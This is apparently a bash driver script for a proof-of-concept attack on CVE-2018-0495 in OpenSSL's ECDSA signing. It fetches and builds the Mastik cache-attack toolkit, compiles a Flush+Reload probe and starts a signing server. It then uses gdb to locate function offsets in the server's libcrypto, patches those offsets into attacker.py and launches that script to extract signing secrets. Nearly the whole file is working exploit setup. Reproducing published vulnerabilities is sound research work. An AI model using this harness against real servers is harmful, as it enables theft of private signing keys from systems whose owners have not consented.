#!/bin/bash

cd /root/CVE-2018-0495/rohnp_poc/openssl_poc


if [ ! -f "/root/CVE-2018-0495/openssl_poc/private.pem" ]  || [ ! -f "/root/CVE-2018-0495/openssl_poc/public.pem" ]
then
    echo "Generating Keypair"
    #sudo rm -f private.pem public.pem
    #openssl ecparam -genkey -name prime256v1 -noout -out private.pem
    #openssl req -new -x509 -subj "/C=CH/ST=Switzerland/L=Neuchâtel/O=Evil Corp/OU=Hell/CN=Hell/emailAddress=evil@hell.com" -key private.pem -out public.pem
fi
chmod 400 private.pem
chmod 666 public.pem
chown root:root private.pem

if [ ! -d "/root/CVE-2018-0495/rohnp_poc/openssl_poc/mastik/" ]
then
    echo "Acquiring Mastik"

    rm -rf mastik Mastik-0.02-AyeAyeCapn.tgz
    wget https://cs.adelaide.edu.au/~yval/Mastik/releases/Mastik-0.02-AyeAyeCapn.tgz
    tar xf Mastik-0.02-AyeAyeCapn.tgz
    mv Mastik-0.02-AyeAyeCapn mastik
    pushd mastik
    ./configure
    make
    popd

    echo "Building Flush+Reload binary"
    gcc -Imastik/src -Lmastik/src -o flushreload flushreload.c -lmastik
fi

pkill -9 python2.7 >/dev/null
sudo python2.7 server.py &
ps -ef | grep server.py
ls /usr/lib64/ | grep crypto

PID=$(ps -ef | grep "sudo python2\.7 server\.py" | head -n 1 | tr -s ' ' | cut -d ' ' -f2)

libcrypto_path=$(gdb --pid ${PID} --batch --ex 'break main' --ex 'info proc map' | sort -u |  grep -oP '/[^\s]*/libcrypto.so.1.1' | head -n 1)
offset1=$(gdb --pid ${PID} --batch --ex 'disass ECDSA_do_sign_ex' | grep 'endbr64' | head -n 1 | grep -oP '[a-f0-9]{5} ' | sed 's# ##g')
offset2=$(gdb --pid ${PID} --batch --ex 'disass ossl_ecdsa_sign_sig' | grep 'callq' | grep '<BN_mod_add_quick>' | head -n 1 | grep -oP '[a-f0-9]{5} <\+' | sed 's# .*##g')
offset3=$(gdb --pid ${PID} --batch --ex 'disass BN_usub' | grep 'retq' | head -n 1 | grep -oP '[a-f0-9]{5} ' | sed 's# ##g')
offset4=$(gdb --pid ${PID} --batch --ex 'disass BN_usub' | grep 'movzbl %cl,%ecx' | head -n 1 | grep -oP '[a-f0-9]{5} ' | sed 's# ##g')
offset5=$(gdb --pid ${PID} --batch --ex 'disass ECDSA_SIG_free' | grep 'retq' | head -n 1 | grep -oP '[a-f0-9]{5} ' | sed 's# ##g')

echo "               PID: ${PID}"
echo "        LIB CRYPTO: ${libcrypto_path}"
echo "          OFFSET 1: ${offset1} (entry to ECDSA_do_sign_ex)"
echo "          OFFSET 2: ${offset2} (call to BN_mod_add_quick)"
echo "          OFFSET 3: ${offset3} (end of BN_usub)"
echo "          OFFSET 4: ${offset4} (middle of BN_usub)"
echo "          OFFSET 5: ${offset5} (end of ECDSA_sig_free)"
echo ""

echo "[INFO] Patching file ..."

sed -i "s#\"/usr/lib/x86_64-linux-gnu/libcrypto.so.1.1\",#\"${libcrypto_path}\",#g" attacker.py
sed -i "s#\"f4e70\",#\"${offset1}\",#g" attacker.py
sed -i "s#\"f4582\",#\"${offset2}\",#g" attacker.py
sed -i "s#\"a4b9f\",#\"${offset3}\",#g" attacker.py
sed -i "s#\"a4b42\",#\"${offset4}\",#g" attacker.py
sed -i "s#\"ed180\",#\"${offset5}\",#g" attacker.py
sed -i 's/#print/print/g' -i *.py

python2.7 attacker.py